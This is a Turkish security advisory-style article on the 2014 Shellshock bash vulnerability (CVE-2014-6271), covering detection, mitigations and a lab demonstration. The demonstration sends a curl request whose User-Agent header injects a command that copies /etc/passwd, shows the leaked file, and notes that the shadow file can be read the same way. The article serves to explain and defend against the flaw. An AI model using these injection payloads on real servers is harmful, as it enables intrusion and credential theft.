Yazarın bu bölümdeki diğer yazıları...
Bash Uzaktan Kod Çalıştırma Açıklığı (CVE-2014-6271)
İsmail Baydan, TÜRKSAT A.Ş.   
17.10.2014

23.09.2014 tarihinde Stephane Chazelas tarafından bir çok Linux, Mac OS ve Bsd dağıtımında kullanılan bash uygulaması üzerinde açıklık (CVE-2014-6271, OSVDB-ID:112004) keşfedildi. Her ne kadar Red Hat, Ubuntu, Debian gibi popüler dağıtımlar güncelleme yayımlamış olsada bu yamaların açıklığı tam olarak kapatmadığı tespit edilmiştir. Bu açıklık her ne kadar etkileri tam olarak kestirilemesede Heartbleed ile karşılaştırılmaya başlanmıştır.

Bash nedir?

Bash genelde Unix ve türevi işletim sistemlerinde işletim sistemi ve donanımlar ile etkileşim için kullanılan metin tabanlı yönetim konsoludur. Bu sunucular genelde konsol yada uzak terminal bağlantısı ile bash'e erişerek yönetilir. Başarılı bağlantı ve kimlik doğrulama sonrası bash çalıştırılır ve yönetici servis yönetimi, uygulama yükleme, kullanıcı ekleme v.b. tüm işlemlerini bash üzerinde gerçekleştirir. Bash tcsh, ksh v.b. türev yada alternatifleri mevcut olmasına rağmen kullanım kolaylığı , basitliği ve Unix sistem yöneticileri tarafından yaygın olarak kabul edilmesinden dolayı en çok kullanılan kabuk uygulamasıdır.

Bash açıklığı nasıl çalışır?

Bash çalışma sırasında Windows sistemlerde de kullanılan ortam değişkenlerini kullanır. Her yeni bir kabuk oluşturulduğunda bu kabuğa ait ortam değişkenleri ayarlanır ve çalıştırılır. Saldırgan bu açıklık ile ortam değişkenlerinden sonra çalıştırmak istediği kodu ekleyerek ortam değişkenlerinin ayrıştırılmasından sonra kodların ilgili işlem(process) hakları ile sistem üzerinde çalıştırılmasını sağlar.

Bu açıklıktan en çok etkilenmesi beklenen uygulamalarında başında mod_cgi yada  mod_cgid modüllerini ve bash uygulamalarını aktif olarak kullanan apache ve web sunucuları geliyor. Daha sonra  sshd_config içinde ssh terminallerinin başlatılması öncesinde kullanılan ForceCommand özelliğinin atlatılmasında kullanılabilir ve ForceCommand özelliği tamamen etkisiz hale getirilebilir. Ayrıca ssh üzerinden çalışan git uygulamaları bu açıklıktan etkilenebilir.

Açıklığın tespiti

Açıklığın tespiti bash kabuğu üzerinden aşağıda verilen betik çalıştırılarak kolay bir şekilde gerçekleştirilebilir. Ayrıca bu açıklık için Metasploit modülü bashedCgi ismi ile yayınlanmıştır.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Eğer çıktı olarak ;

vulnerable

this is a test

Yukarıdaki çıktı alınıyorsa sistem bu açıklığı barındırıyor demektir. Eğer aşağıdaki çıktı alınıyorsa

bash: warning: x: ignoring function definition attempt

bash: error importing function definition for `x'

this is a test

sistem bu açıklıktan etkilenmemiş diğer bir tabirle ilgili yama geçilmiş demektir.

Örnek uygulama

Aşağıda bu açıklıktan faydalanan örnek bir uygulamayı incelencektir. Senaryo bash betikleri çalıştıran bir cgi uygulamasının açıklık aracılığı ile istismar edilerek sunucu üzerindeki kullanıcı ve parola bilgilerinin elde edilmesidir.

Test ortamında aşağıdaki cgi betiklerinin “/usr/lib/cgi-bin” dizini altında apache ve cgi modulleri aktif edilerek çalıştığı varsayılmaktadır.

  root@ubuntu:/usr/lib/cgi-bin# cat test2.cgi

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo "Merhaba"

İstemci tarafında aşağıda yazılan betik çalıştırılarak curl uygulaması ile User-Agent isimli http  başlığına zararlı kod eklenerek sunucu tarafındaki cgi uygulamasına istek yapılır. Buradaki zararlı kod apache servisinin çalıştığı yetkiler ile çalışacaktır.

 [xyz@abc ~]$ curl -k -H 'User-Agent: () { :;}; /bin/cat "/etc/passwd" > /tmp/aa'  http://192.168.123.123/test2.cgi

Kod çalıştırıldıktan sonra passwd dosyasının içeriğini /tmp/aa isimli dosyaya yazar. Burada çok farklı senaryolar gerçekleştirilebilmektedir. Passwd dosyası kopyalandığı gibi Unix sistemlerde kullanıcı şifrelerinin özetlerini tutan shadow dosyasıda bu yöntem ile okunabilir.

ismail@ubuntu:~$ cat /tmp/aa

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

libuuid:x:100:101::/var/lib/libuuid:

syslog:x:101:104::/home/syslog:/bin/false

messagebus:x:102:105::/var/run/dbus:/bin/false

landscape:x:103:109::/var/lib/landscape:/bin/false

sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin

ismail:x:1000:1000:İsmail Baydan,,,:/home/ismail:/bin/bash

Alınabilecek Tedbirler

Yukarıda belirtilen zaafiyetlerden dolayı oluşabilecek zararları en aza indirmek için aşağıda bahsedilen işlemlerin gerçekleştirilmesi gerekmektedir.

  • Açık bulunduran ürünlerin tespit edilmesi

Kurum içinde kullanılan tüm ürünlerin güvenlik bültenleri takip edilerek yada incelenerek bu ürünler üzerinde bash ile ilgili açığın olup olmadığı tespit edilmelidir. Örneğin Vmware geçtiğimiz günlerde ürünleri için açıklıkla güvenlik ilgili güvenlik güncellemesi yayımlamıştır. Nessus v.b. açıklık tarama araçları kullanılarak tespit işlemi hızlı, kolay ve daha tutarlı hale getirilebilir.

  • Güncellemelerin yüklenmesi

Alınabilecek en etkili yöntem gerekli güncellemeleri yüklemektir. Güncelleştirme işlemi ilgili sisteme göre değişiklik göstermekle birlikte genelde Unix ve türevi sistemler etkilendiği için Ubuntu ve RedHat türevlerinde online merkezi uygulama depolarından yada offline olarak güncellemeler gerçekleştirilebilir. Güncelleme için diğer bir yöntem ise bash uygulamasının resmi sitesinden (an için) son versiyon(bash-4.2.tar.gz) ve yamalar (bash43-027) indirilerek sistem mimarisine uygun (32 veya 64 bit) derleyerek kurmaktır. Vmware v.b. diğer tür ürünler içinde gerekli güncelleme işlemi gerçekleştirilmelidir.

  • IPS ve IDS'ler  üzerinde gerekli tanımlamaların/güncellemelerin yapılması

Çeşitli güvenlik kaynaklarının ifadelerine göre şimdiden bu açıklığın istismar edilmesi ile sistemlere sızılması yada botnet orduları kurulması gibi denemeler internet üzerinde gözlemlenmiştir. Birçok IPS ve IDS üreticisi ilgili açıklık için imza yayımlamış durumdadır. Mevcut imzalar güncellenmelidir. 

  • SIEM ürünlerinde gerekli korelasyonların tanımlanması

Siem ürünleri mevcut ise ve alınan kayıtlarda saldırıyı tespit edebilecek parametreler mevcut ise gerekli uyarılar (korelasyon) tanımlanmalıdır. Sistemlere karşı yapılan herhangi bir saldırıdan kolaylıkla haberdar olup gerekli önlemler alınabilir.

  • Açıklık barındıran sistemlere erişimlerin kısıtlanması

Kesin ve tutarlı bir çözüm olmamakla birlikte güncelleme v.b. çözümlerin çalışmadığı durumlarda erişim kısıtlaması bir önlem olarak kullanılabilir. Özellikle ağ erişimini kısıtlamak etkin bir şekilde kullanılabilir.

  • Sistemlerin incelenmesi

Açıklığın duyurulması ile birlikte saldırganlar internet üzerinde açıklık bulunduran sistemleri otomatik araçlar ile tespit etmek ve bu zaafiyeti sömürmek için taramalara başladı. Mevcut sistemlerdeki zaafiyet istismas edilmiş ise bu sistemlerin incelenmesi ve temizlenmesi gerekmektedir.

  • Farklı kabuk uygulamalarının kullanılması

Güncelleme v.b. yöntemlerin mümkün olmadığı durumlarda sistem üzerindeki bash uygulamasının kaldırılması ve alternatif kabuk uygulamalarından zsh,csh v.b. uygulamalarının kullanılması ve varsayılan kabuk olarak ayarlanması gerekmektedir.

Kaynaklar

[1] http://www.exploit-db.com/exploits/34765/

[2] http://packetstormsecurity.com/files/128395/bash-exec.txt

[3] http://packetstormsecurity.com/files/128394/bash-poc.txt

[4] http://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521

[5] https://www.invisiblethreat.ca/2014/09/cve-2014-6271/

[6] http://threatpost.com/bash-exploit-reported-first-round-of-patches-incomplete/108550


Favori olarak ekle (0) | Görüntüleme sayısı: 7026

Bu yazıya ilk yorumu yazın

Sadece kayıtlı kullanıcılar yorum yazabilir.
Lütfen sisteme giriş yapın veya kayıt olun.